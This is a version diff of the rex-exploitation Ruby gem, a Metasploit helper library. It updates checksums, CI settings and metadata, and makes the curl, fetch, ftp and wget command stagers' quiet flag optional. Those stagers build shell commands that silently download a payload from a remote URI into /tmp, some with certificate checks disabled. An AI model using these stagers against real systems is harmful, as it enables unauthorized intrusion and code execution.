rex-exploitation 0.1.36 → 0.1.38

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 10df737fa22eba8a2f5a5f65b38c0abf7e1b72258dfb08794b90675db88197a2
-  data.tar.gz: 986846bf16746245e301974d48ac414379b018a2a64d3c5a5c79e2fa00cf4959
+  metadata.gz: dd288cd8a6368cbe9fdb09987c43eee0ea4345ba713c57e0b388c427a2faf100
+  data.tar.gz: 006413c195ac9266d5aeca6c2c03b73d5b0b0651bc3d9ad880d72dbde07cbf66
 SHA512:
-  metadata.gz: 28ae1c3950d750ce7efb1095cb620fd8dcf90d4f6413b9a3e11911f02ed0f0af63b8578207ebdda1152130a7ea907c990c06b1f7c46b1b66aee431fb84883add
-  data.tar.gz: 39c71b7b9f5992234c852dd36b47643ebb0d85217326f56117ffb9d2ec91b206b51d0243d7aa1265846d2669d956071008cdccc6a82345d73852c8199ead8796
+  metadata.gz: 8ba577dd6c6821b2451cb6a4a04eeb698361cce945b12d2951e33ed48c730b0f44c7dbf1535971aff3bfa55b859104fc6e254029b72e128ffb583229be0486b9
+  data.tar.gz: 1725bb216555d54137b426e5c1564c785d4c49ad7b27223a1b6fd2511105aafa617e8bcb9d9a0d3ef1e056758745b13114018ac8e45781a3f8a08418a22af89f

data/.github/workflows/verify.yml

@@ -17,15 +17,16 @@ jobs:
       fail-fast: true
       matrix:
         ruby:
-          - 2.7
-          - 3.0
-          - 3.1
+          - '2.7'
+          - '3.0'
+          - '3.1'
+          - '3.2'
         os:
           - ubuntu-20.04
           - ubuntu-latest
         exclude:
-          - { os: ubuntu-latest, ruby: 2.7 }
-          - { os: ubuntu-latest, ruby: 3.0 }
+          - { os: ubuntu-latest, ruby: '2.7' }
+          - { os: ubuntu-latest, ruby: '3.0' }
         test_cmd:
           - bundle exec rspec
 

data/lib/rex/exploitation/cmdstager/curl.rb

@@ -17,6 +17,7 @@ class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase
 
     opts[:temp] ||= '/tmp'
     opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    opts[:silent] = true if opts[:silent].nil?
     @payload_path = "#{opts[:temp]}/#{opts[:file]}"
 
     super
@@ -25,12 +26,13 @@ class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase
   def generate_cmds_payload(opts)
     cmds = []
     uri = opts[:payload_uri]
+    silent_flag = opts[:silent] ? 's' : ''
 
     if opts[:ssl]
-      cmds << "curl -kso #{@payload_path} #{uri}"
+      cmds << "curl -#{silent_flag}ko #{@payload_path} #{uri}"
     else
       uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
-      cmds << "curl -so #{@payload_path} #{uri}"
+      cmds << "curl -#{silent_flag}o #{@payload_path} #{uri}"
     end
 
     cmds

data/lib/rex/exploitation/cmdstager/fetch.rb

@@ -17,6 +17,7 @@ class Rex::Exploitation::CmdStagerFetch < Rex::Exploitation::CmdStagerBase
 
     opts[:temp] ||= '/tmp'
     opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    opts[:silent] = true if opts[:silent].nil?
     @payload_path = "#{opts[:temp]}/#{opts[:file]}"
 
     super
@@ -26,10 +27,11 @@ class Rex::Exploitation::CmdStagerFetch < Rex::Exploitation::CmdStagerBase
     cmds = []
     nvp  = '--no-verify-peer'
 
+    silent_flag = opts[:silent] ? 'q' : ''
     if opts[:ssl]
-      cmds << "fetch -qo #{@payload_path} #{nvp} #{opts[:payload_uri]}"
+      cmds << "fetch -#{silent_flag}o #{@payload_path} #{nvp} #{opts[:payload_uri]}"
     else
-      cmds << "fetch -qo #{@payload_path} #{opts[:payload_uri]}"
+      cmds << "fetch -#{silent_flag}o #{@payload_path} #{opts[:payload_uri]}"
     end
 
     cmds

data/lib/rex/exploitation/cmdstager/ftp_http.rb

@@ -17,14 +17,17 @@ class Rex::Exploitation::CmdStagerFtpHttp < Rex::Exploitation::CmdStagerBase
 
     opts[:temp] ||= '/tmp'
     opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    opts[:silent] = true if opts[:silent].nil?
     @payload_path = "#{opts[:temp]}/#{opts[:file]}"
 
     super
   end
 
   def generate_cmds_payload(opts)
+    # -V: disable verbose output (quiet mode)
+    silent_flag = opts[:silent] ? 'V' : ''
     # -o: output file name (argument must be before URL)
-    ["ftp -o #{@payload_path} #{opts[:payload_uri]}"]
+    ["ftp -#{silent_flag}o #{@payload_path} #{opts[:payload_uri]}"]
   end
 
   def generate_cmds_decoder(opts)

data/lib/rex/exploitation/cmdstager/wget.rb

@@ -17,6 +17,7 @@ class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase
 
     opts[:temp] ||= '/tmp'
     opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    opts[:silent] = true if opts[:silent].nil?
     @payload_path = "#{opts[:temp]}/#{opts[:file]}"
 
     super
@@ -27,12 +28,13 @@ class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase
 
     uri = opts[:payload_uri]
     ncc  = '--no-check-certificate'
+    silent_flag = opts[:silent] ? 'q' : ''
 
     if opts[:ssl]
-      cmds << "wget -qO #{@payload_path} #{ncc} #{uri}"
+      cmds << "wget -#{silent_flag}O #{@payload_path} #{ncc} #{uri}"
     else
       uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
-      cmds << "wget -qO #{@payload_path} #{uri}"
+      cmds << "wget -#{silent_flag}O #{@payload_path} #{uri}"
     end
 
     cmds

data/lib/rex/exploitation/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Exploitation
-    VERSION = "0.1.36"
+    VERSION = "0.1.38"
   end
 end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: rex-exploitation
 version: !ruby/object:Gem::Version
-  version: 0.1.36
+  version: 0.1.38
 platform: ruby
 authors:
 - Metasploit Hackers
@@ -93,7 +93,7 @@ cert_chain:
   EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
   9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
   -----END CERTIFICATE-----
-date: 2022-09-02 00:00:00.000000000 Z
+date: 2023-03-06 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: rake
@@ -305,8 +305,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
     - !ruby/object:Gem::Version
       version: '0'
 requirements: []
-rubyforge_project: 
-rubygems_version: 2.7.10
+rubygems_version: 3.1.4
 signing_key: 
 specification_version: 4
 summary: Ruby Exploitation(Rex) library for various exploitation helpers